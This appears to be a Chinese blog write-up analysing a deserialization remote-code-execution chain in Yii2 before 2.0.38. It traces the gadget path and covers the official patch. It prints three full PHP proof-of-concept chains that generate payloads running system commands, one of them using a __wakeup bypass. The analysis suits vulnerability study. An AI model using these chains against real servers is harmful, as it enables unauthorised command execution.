Yii框架反序列化RCE利用链分析
影响范围
Yii2 < 2.0.38
测试版本 yii-basic-app-2.0.37.tgz
原理我这边看了一下,是能够看懂,但是我是菜鸡,反序列化的链我构造不出来=。=
漏洞位于
/vendor/yiisoft/yii2/db/BatchQueryResult.php
其中 __destruct
调用了本地的 reset()
方法


进去查看一下, reset
方法中的 _dataReader
可控
这里面有两个思路,第一种查找其他类中的 close()
方法,还有一种就是查找 __call()
方法
这里先使用第一种方法
grep -r "function close(" ./

这里面作者使用的是 /vendor/yiisoft/yii2/web/DbSession.php
我们进去查看一下

可以看到 DbSession 调用了父类中的 getIsActive
方法,跟进去看看

这里面作者说,只要是安装了 debug和gi 扩展就可以返回 true(好像是默认开启的)
接着又调用父类中的 composeFields
方法


其中 writeCallback
可控
call_user_func($this->writeCallback, $this)
但是只能调用无参数的方法,就是将writeCallback赋值为数组的形式
$writeCallback=[(new xxx),"aaa"]; //调用 xxx类中的 aaa 方法
这里面作者找到了 /vendor/yiisoft/yii2/rest/IndexAction.php
中的 run
方法

这里面 checkAccess
和 id
都可控,因此我们可以达到我们的目的
下面来构造反序列化
关于反序列化的配置,我也不是很会,也是看大佬们的文章一步一步来的,抱歉了
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace{
$exp = new \yii\db\BatchQueryResult("system", "whoami");
print(base64_encode(serialize($exp)));
}

在 SiteController
控制器写一个反序列化点


原本想试试用 /vendor/guzzlehttp/psr7/src/FnStream.php
构造的


但是限制了不能反序列化
但是可以尝试CVE-2016-7124漏洞php的__wakeup方法绕过
PHP5 < 5.6.25
PHP7 < 7.0.10
<?php
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace Psr\Http\Message{
interface StreamInterface{
}
}
namespace GuzzleHttp\Psr7{
use Psr\Http\Message\StreamInterface;
class FnStream implements StreamInterface {
public function __construct($func, $param)
{
$this->_fn_close=[new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \GuzzleHttp\Psr7\FnStream($func, $param);
}
}
}
namespace{
$exp = new \yii\db\BatchQueryResult("system", "whoami");
print(base64_encode(str_replace(":1:{s:9",":2:{s:9",serialize($exp))));
}


测试可以绕过
有点疑惑,我是用的是 7.0.33
版本的PHP,不知道为啥还可以绕过


本机 7.1.23
也可以
试试第二种方式分析
第二种就是查找 __call
函数了

我这里找到 /vendor/fzaninotto/faker/src/Faker/Generator.php

跟进 format

跟进 getFormatter


只看前部分, $formatters
可控,但是函数参数不可控,但是可以调用所有类中函数了,到这里的思路跟前面一样,可以调用 /vendor/yiisoft/yii2/rest/IndexAction.php
以及 /vendor/yiisoft/yii2/rest/CreateAction.php
中的 run方法
这里直接粘exp
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
官方修补
官方修补的方式也很简单,在BatchQueryResult中添加了 __wakeup
阻止其序列化


试了一下 __wakeup
绕过,没有成功,本地也没有合适的版本测试(搞不懂上面是怎么成功了)
参考资料
https://mp.weixin.qq.com/s/KNhKti5Kcl-She4pU3D-5g
https://www.cnblogs.com/potatsoSec/p/13693969.html
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步